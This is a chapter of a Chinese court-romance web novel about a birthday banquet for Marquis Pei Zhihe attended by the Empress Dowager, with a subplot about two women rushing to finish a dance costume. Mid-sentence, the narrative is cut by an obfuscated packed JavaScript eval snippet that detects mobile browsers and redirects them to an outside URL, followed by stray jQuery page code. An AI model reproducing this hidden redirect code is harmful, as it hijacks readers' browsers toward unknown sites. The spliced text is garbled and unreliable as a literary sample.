小汤山位于皇城北边,不过一个小山丘,但地势略高,登顶足以俯瞰城间百态。
山麓有温泉,今日天朗气清,平整如镜的水面映照出碧蓝如洗的苍穹,清风徐过,拂散轻纱般的白雾,泛起涟漪,波光粼粼。
一队自宫中而出的仪仗,正沿着青石阶台慢慢向上行进。
福安长公主和恭平郡主晨起便忙于梳妆,过午不食不睡,待到日跌,盛装来到山庄门前等候。
——此山庄乃皇帝赐给裴执鹤的及冠礼之一,亲自题字“积秀”,是除了皇家行宫之外,占地最多的地界。
不多时,已是精简过、却繁丽的华盖映入母女二人的眼帘。
“女儿见过母后。”福安带着恭平行礼道。
赏着绿水青山,伴着花香鸟语,太后一吐闷在深宫许久的腐气,当下满心惬意舒爽。
她一头银发,只以木簪束发,腕间串着佛珠,显得像是寻常人家的老太太。
未看到裴执鹤的太后,敛了几分笑意:“都起来罢,这日头且毒得很,难为你们等哀家了。”
“女儿有些时日未见母后,也是思念,甘愿在此等候。”福安走到太后身边,扶着她往里走。
太后缓声问道:“那西域来的乐团可调教好了?虽是请来让鹤儿高兴的,但她们的言行举止不能轻浮浪丨荡,反之败坏鹤儿的名声。”
“女儿日日派人监看,确保那群舞娘只献艺,不做旁的事。”福安恭敬道。
太后微微颔首:“看来你虽然理不清家务事,但在外甥的生辰宴上,你还是个拎得清的。”
她面上还笑着,仿佛说的话不是故意给福安难堪。
福安牵扯了几下嘴角,却挤不出一个字。
远远地,太后瞧见一个人影朝她走来,脸上重新扬起笑,问道:“那是鹤儿吗?”
“回太后,是的。”
“快,快看看哀家身上打理好了没?”
“恕女儿愚笨,没看出有不妥的地方。”福安忍住白眼,回道。
裴执鹤今穿绛红色大袖圆领袍,墨发束起,显露出俊美无俦的脸庞,薄唇微抿,浑身透出一股高不可攀的气息。
向来偏爱他的太后,立即止住他的举动:“免礼,免礼,一个多月未见,哀家想你了。”
裴执鹤上前握住她的手,惯来淡漠的眼眸中,也析出几分温柔:“是孙儿的不是,今日是孙儿的生辰,孙儿斗胆请求皇祖母,多在积秀山庄住些时日。”
“皇祖母”是被当今圣上特别允许的称呼,作为同胞兄妹的孩子,本就是一家人,不应分内外。
“好啊,只要你不嫌哀家这个老东西,扰你清静。”太后揉着他的手背,笑呵呵道。
这厢其乐融融,那厢祝谣跑得气喘吁吁。
她先是在乐团那边,为珍珠迟来编了个理由,糊弄过去,半道上看到太后,急急忙忙地跑回小房。
此处是间空置的库房,暂且无人光顾,祝谣便临时征用。
“要不要我搭把手?”祝谣看着正给自己缝珠缀的珍珠,尽力平稳气息道,免得将紧张的气氛传递给她。
心思敏感的珍珠,一下便察觉出祝谣因急切而发出的轻喘,银针偏了几寸,猛地扎到了指腹:“嘶!”
三日前,祝谣空手而归。
珍珠克制不了往最坏的方面去想,自认或许是老天也要阻止她靠近侯爷,面上配合着祝谣积极想法子,心底却动了放弃的念头。
祝谣选择不对珍珠隐瞒消息,不是为了看她自怨自艾的,连安慰都顾不上,她便去向乐团协商,能否借到一条舞裙。
然而不幸的是,乐团里每个人的舞裙,都是自己出钱定制的,轻易不外借。
那还能怎么办?只能她们动手,赶制一件新舞裙出来。
舞裙的衣料从哪儿找?祝谣不管什么材质,薄纱、帷幕、甚至是毯子,只要颜色和上身感觉对了,就剪下来,盯着珍珠熬夜缝制。
熬得珍珠边掉眼泪,边手中密密缝。
好在天无绝人之路,给她们送来了瑞香,有瑞香的示好和帮忙,在启程去往积秀山庄的前一夜,一件光秃秃、未来得及绣上花纹的舞裙制成了。
祝谣见她指尖冒血,用帕子抹去,吹了吹气:“没事的,只有五串珠缀要缝了,来得及!”
“不行的,我做不到的。”泪珠扑簌掉落,珍珠双手抱肩,茫然地看着地面,呢喃道,“老天要惩罚我,一开始用了不正当的手段接近侯爷,我错了,我错了……”
祝谣狠狠地摇动她的肩膀,语气重了不少:“都到这种时候了,你不要再说放弃的话了!眼下的情形是,你不上也得上,否则恭平郡主不会原谅我们戏弄了她的!”
珍珠的眼泪不停:“可是,献了舞之后呢?侯爷会记起我是谁吗?要是太后不满意我,我还如何能出头?”
鉴于她的问题涉及剧透,祝谣闭紧嘴,只冷脸把针线重新塞回她手中,瞪着她,掐断她陷入悲伤自责的苗头,要她现在、立刻、马上动工!
宴席会在暮云四合之际开始,不到最后一刻,祝谣绝不会让珍珠停下脚步。
“你是想我死吗?”祝谣面色凝重道,“如果你不想上台,那你现在便走,正好逃出去,远走高飞,一切后果我独自承担。”
珍珠一听,眼神清明了许多,嗫嚅道:“不是的,我、我不想你死……我缝,我缝,呜。”
她极力憋回呜咽,心下被祝谣凶的委屈,竟霎时间胜过对舞蹈时可能发生失误的担忧。
“我绣就是了嘛,别生我气了,好不好?”
*
临近黄昏,宾客陆续到场。
在离山庄大门还有一里远的位置,一顶蓝盖轿子停在古树下。
半晌,轿夫举着门帘,等得不耐烦了,孔夫子才下了轿,抖着衣袖,眼朝天,踏着四方步要走。
却被轿夫挡住了去路:“这位爷,钱您还没结呢!”
孔夫子嗤了声:“粗俗。”尔后从腰包里抓了铜板,一枚枚数清楚后,丢给轿夫。
从树后出来的孔夫子,自然而然地把在身后啐骂的轿夫,归结为是嫉妒。
沾了国公府夫人的光,他得了帖子,得以窥见这始建于
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832728|171904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前朝的积秀山庄。
只是这儿的下人实在无礼,竟不来引他入座,害得他在里面打转。
因不时有旁的贵客经过,孔夫子为不显窘况,只能端着架势,胡乱地从东走到西,又从西走到北。
孔夫子大腹便便,走几步就气喘、冒汗、腿打抖,道袍贴在身上黏糊糊的。
帕子湿得能拧出水,他坐在亭子里,重重地呼吸,喷气的声音像是只野猪。
天色愈加阴了下来,他犹记得开宴的时辰,起身终于打算寻个小厮带他过去,却在下一刻,碰到了裴执鹤。
孔夫子想起他失怙失恃,又想自己正值不惑之年,却无妻无儿,见裴执鹤一副目中无人的模样,骨子里升起一股好为人师的冲动。
“侯爷可知,有句话是与人为善,虽未至祸——”
他挡在正中,作揖进言,却迟迟没有回音,抬眼看去,早被裴执鹤完全无视,撇了下来。
丫鬟立在一旁,不知看了多久的笑话,她掩嘴道:“您是要去席间落座吗?请随奴婢来。”
最后孔夫子灰溜溜坐在宴席最末,周遭都是打着谁谁谁远房亲戚旗号的宾客,连上座的人都睄看不分明。
“鹤儿,来尝尝这糖糕,沾了花蜜,香气扑鼻。”太后给裴执鹤挟了一块,“你姨母花了心思,搜罗了不少新鲜玩意,待会还有西域来的舞团献艺。”
今年生辰宴别开生面,福安铆足了劲要做好,听了恭平的劝说,又讨了太后的认可后,连同席间的佳肴,都穿插入异域特色。
单说那糖糕,多数人是头一回尝到这种极致的甜。
它的做法是,将煮熟的糯米捶打成糊,间或加入白糖,接着置于平整的容器里,切割成方正的小块,裹上面粉,再下入提前融了蔗糖的锅中油炸定形。
咬一口,甜蜜又油酥。
裴执鹤忍着不适,咽了下去:“多谢姨母。”
陆续有人到座前给太后请安,继而恭维起这个受皇上和太后看重的天之骄子。
“侯爷年少有为,前途是一片光明啊!”
“侯爷玉树临风,美冠如玉,端的是貌比潘安,颜如宋玉,才比子建!”
“看到侯爷,臣便起懿阳长公主和驸马爷当年的风姿。”
“不知侯爷身边可缺知冷知热的人?臣家小女年芳二八,精通四艺,性子温驯……”
恭维到最后,图穷匕见,话茬总会被引向婚姻大事之上。
裴执鹤听过许多这般的话,眼下已然不甚在意。
他看着座前的王公贵戚们,一个个衣冠楚楚,却是干着皮条客的活,张罗着怎样将姑娘卖个好价钱,虚伪,虚伪!
没有情爱的婚姻的下场,裴执鹤已然从父母身上可窥一斑,他是断不会接受利益至上的结丨合。
落日熔金,渐渐西垂,终被灰蓝色的云蔼尽数吞没,一阵悠远的笛声在此刻蓦然响起。
须臾,轻快的鼓声,清脆的铃声,齐整的脚踏声,拉开了生辰宴起始的帷幕。
裴执鹤遥遥望去,于一片似火橙红般的烛光中,擒住了女子曼妙的身影。